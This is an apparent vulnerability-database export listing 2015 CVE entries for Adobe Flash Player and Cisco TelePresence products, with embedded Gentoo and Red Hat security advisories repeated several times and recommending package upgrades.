| VAR-201503-0379 | CVE-2015-0334 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 9.3 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-0336. Failed exploit attempts will likely cause a denial-of-service condition. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0383 | CVE-2015-0338 | Adobe Flash Player Integer overflow vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Integer overflow in Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code via unspecified vectors. Adobe Flash Player Contains an integer overflow vulnerability. Supplementary information : CWE Vulnerability type by CWE-190: Integer Overflow or Wraparound ( Integer overflow or wraparound ) Has been identified. http://cwe.mitre.org/data/definitions/190.htmlAn attacker could execute arbitrary code. Failed exploit attempts will likely cause a denial-of-service condition. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Impact
======
A remote attacker could possibly execute arbitrary code with the
privileges of the process, cause a Denial of Service condition, or
bypass security restrictions.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0380 | CVE-2015-0335 | Adobe Flash Player Vulnerabilities in arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0332, CVE-2015-0333, and CVE-2015-0339.
An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0377 | CVE-2015-0332 | Adobe Flash Player Vulnerable to arbitrary code execution |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0333, CVE-2015-0335, and CVE-2015-0339. Failed exploit attempts will likely result in denial-of-service conditions. The product enables viewing of applications, content and video across screens and browsers.
Background
==========
The Adobe Flash Player is a renderer for the SWF file format, which is
commonly used to provide interactive websites.
Please review the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All adobe-flash users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=www-plugins/adobe-flash-11.2.202.451"
References
==========
[ 1 ] CVE-2015-0332
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0332
[ 2 ] CVE-2015-0333
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0333
[ 3 ] CVE-2015-0334
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0334
[ 4 ] CVE-2015-0335
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0335
[ 5 ] CVE-2015-0336
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0336
[ 6 ] CVE-2015-0337
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0337
[ 7 ] CVE-2015-0338
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0338
[ 8 ] CVE-2015-0339
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0339
[ 9 ] CVE-2015-0340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0340
[ 10 ] CVE-2015-0341
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0341
[ 11 ] CVE-2015-0342
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-0342
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
https://security.gentoo.org/glsa/201503-09
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2015 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Critical: flash-plugin security update
Advisory ID: RHSA-2015:0697-01
Product: Red Hat Enterprise Linux Supplementary
Advisory URL: https://rhn.redhat.com/errata/RHSA-2015-0697.html
Issue date: 2015-03-17
CVE Names: CVE-2015-0332 CVE-2015-0333 CVE-2015-0334
CVE-2015-0335 CVE-2015-0336 CVE-2015-0337
CVE-2015-0338 CVE-2015-0339 CVE-2015-0340
CVE-2015-0341 CVE-2015-0342
=====================================================================
1. Summary:
An updated Adobe Flash Player package that fixes multiple security issues
is now available for Red Hat Enterprise Linux 5 and 6 Supplementary.
Red Hat Product Security has rated this update as having Critical security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section.
2. Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 5) - i386, x86_64
Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
3. Description:
The flash-plugin package contains a Mozilla Firefox compatible Adobe Flash
Player web browser plug-in. These
vulnerabilities are detailed in the Adobe Security Bulletin APSB15-05
listed in the References section.
Multiple flaws were found in the way flash-plugin displayed certain SWF
content. An attacker could use these flaws to create a specially crafted
SWF file that would cause flash-plugin to crash or, potentially, execute
arbitrary code when the victim loaded a page containing the malicious SWF
content. (CVE-2015-0332, CVE-2015-0333, CVE-2015-0335, CVE-2015-0339,
CVE-2015-0334, CVE-2015-0336, CVE-2015-0338, CVE-2015-0341, CVE-2015-0342)
This update also fixes a cross-domain policy bypass flaw and a file upload
restriction bypass flaw.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1201636 - flash-plugin: multiple code execution issues fixed in APSB15-05
1201649 - CVE-2015-0337 flash-plugin: cross-domain policy bypass (APSB15-05)
1201651 - CVE-2015-0340 flash-plugin: file upload restriction bypass (APSB15-05)
6. Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Server Supplementary (v. 5):
i386:
flash-plugin-11.2.202.451-1.el5.i386.rpm
x86_64:
flash-plugin-11.2.202.451-1.el5.i386.rpm
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386:
flash-plugin-11.2.202.451-1.el6.i686.rpm
x86_64:
flash-plugin-11.2.202.451-1.el6.i686.rpm
These packages are GPG signed by Red Hat for security. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. References:
https://access.redhat.com/security/cve/CVE-2015-0332
https://access.redhat.com/security/cve/CVE-2015-0333
https://access.redhat.com/security/cve/CVE-2015-0334
https://access.redhat.com/security/cve/CVE-2015-0335
https://access.redhat.com/security/cve/CVE-2015-0336
https://access.redhat.com/security/cve/CVE-2015-0337
https://access.redhat.com/security/cve/CVE-2015-0338
https://access.redhat.com/security/cve/CVE-2015-0339
https://access.redhat.com/security/cve/CVE-2015-0340
https://access.redhat.com/security/cve/CVE-2015-0341
https://access.redhat.com/security/cve/CVE-2015-0342
https://access.redhat.com/security/updates/classification/#critical
https://helpx.adobe.com/security/products/flash-player/apsb15-05.html
8. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2015 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iD8DBQFVCFmyXlSAg2UNWIIRArVvAKCjJLAKXJvnMOZ5a5IBxmKVEPZu6QCfemGc
9kdM+Q/ZOQRcHTfQ3iZRj3s=
=8M6g
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
| VAR-201503-0157 | CVE-2015-0652 | plural Cisco Product Session Description Protocol Denial of service in implementation (DoS) Vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
The Session Description Protocol (SDP) implementation in Cisco TelePresence Video Communication Server (VCS) and Cisco Expressway before X8.2 and Cisco TelePresence Conductor before XC2.4 allows remote attackers to cause a denial of service (mishandled exception and device reload) via a crafted media description, aka Bug IDs CSCus96593 and CSCun73192. Multiple Cisco products are prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to reload an affected device, denying service to legitimate users.
This issue is being tracked by Cisco Bug ID CSCus96593 and CSCun73192
| VAR-201503-0158 | CVE-2015-0653 | plural Cisco Vulnerabilities that bypass authentication in the product management interface |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
The management interface in Cisco TelePresence Video Communication Server (VCS) and Cisco Expressway before X7.2.4, X8 before X8.1.2, and X8.2 before X8.2.2 and Cisco TelePresence Conductor before X2.3.1 and XC2.4 before XC2.4.1 allows remote attackers to bypass authentication via crafted login parameters, aka Bug IDs CSCur02680 and CSCur05556. Vendors have confirmed this vulnerability Bug IDs CSCur02680 and CSCur05556 It is released as.Skillfully crafted by a third party login Authentication may be bypassed via parameters. Multiple Cisco Products are prone to multiple authentication-bypass vulnerabilities.
An attacker can exploit these issues to bypass the authentication mechanism and gain unauthorized administrative access. This may aid in further attacks.
These issues are being tracked by Cisco Bug ID's CSCur02680 and CSCur05556
